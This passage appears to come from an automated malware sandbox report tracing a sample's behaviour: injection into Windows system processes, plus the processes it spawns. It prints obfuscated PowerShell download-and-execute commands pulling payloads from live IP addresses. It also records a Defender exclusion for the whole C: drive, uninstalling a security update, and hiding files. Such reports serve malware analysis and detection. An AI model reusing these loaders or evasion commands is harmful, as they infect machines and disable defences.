                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 1E968250000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1A9452E0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\dllhost.exe base: 29227D20000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 283E5C20000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\smartscreen.exe base: 14BB07C0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 22C4F660000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1DBAE500000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\ApplicationFrameHost.exe base: 27B1B9F0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 27FF3CD0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 281CF7C0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 28843650000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 168A9140000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\conhost.exe base: 224A18C0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\conhost.exe base: 23810A00000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 25FE7400000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 21ABC940000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1DF455A0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 21DE15C0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\dllhost.exe base: 1D69B7B0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1CBFAED0000
                      Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1CBFB290000
                      Source: C:\Windows\System32\lsass.exeMemory written: C:\Windows\System32\dllhost.exe base: 1D69B610000
                      Source: C:\Windows\System32\lsass.exeMemory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 21DE14B0000
                      Source: C:\Windows\System32\lsass.exeMemory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 21DE1300000
                      Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://85.28.47.8/x/L.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X Jump to behavior
                      Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://85.28.47.8/x/M.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X Jump to behavior
                      Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://85.28.47.8/S.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdnsJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c attrib +h C:\Users\Public\0x1.logJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdnsJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdnsJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Roaming\LB311.exe "C:\Users\user\AppData\Roaming\LB311.exe" Jump to behavior
                      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\attrib.exe attrib +h C:\Users\Public\0x1.logJump to behavior
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://176.113.115.177/x/5.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://176.113.115.177/x/5.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
                      Source: C:\Windows\System32\dialer.exeCode function: 51_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,51_2_0000000140001B54
                      Source: C:\Windows\System32\dialer.exeCode function: 51_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,51_2_0000000140001B54
                      Source: RegSvcs.exe, 0000000F.00000002.3429472207.0000000002914000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.3438340722.0000000002DF8000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: explorer - Program Manager`
                      Source: winlogon.exe, 00000037.00000000.2363109809.000002D016A60000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000037.00000002.3429448119.000002D016A60000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: IProgram Manager
                      Source: RegSvcs.exe, 0000000F.00000002.3429472207.0000000002ACC000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3429472207.0000000002980000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3429472207.0000000002914000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program Manager
                      Source: winlogon.exe, 00000037.00000000.2363109809.000002D016A60000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000037.00000002.3429448119.000002D016A60000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
                      Source: winlogon.exe, 00000037.00000000.2363109809.000002D016A60000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000037.00000002.3429448119.000002D016A60000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
                      Source: RegSvcs.exe, 0000000F.00000002.3429472207.0000000002ACC000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3429472207.0000000002980000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3429472207.0000000002914000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: explorer - Program Manager
                      Source: RegSvcs.exe, 0000000F.00000002.3429472207.0000000002ACC000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3429472207.0000000002980000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3429472207.0000000002914000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerlB
                      Source: RegSvcs.exe, 0000000F.00000002.3429472207.0000000002ACC000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3429472207.0000000002980000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3429472207.0000000002914000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: q explorer - Program Manager
                      Source: winlogon.exe, 00000037.00000000.2363109809.000002D016A60000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000037.00000002.3429448119.000002D016A60000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
                      Source: RegSvcs.exe, 0000000F.00000002.3429472207.0000000002ACC000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.3438340722.0000000002E8E000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: explorer - Program Manager$2
                      Source: C:\Windows\System32\winlogon.exeCode function: 55_2_000002D0165936F0 cpuid 55_2_000002D0165936F0
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
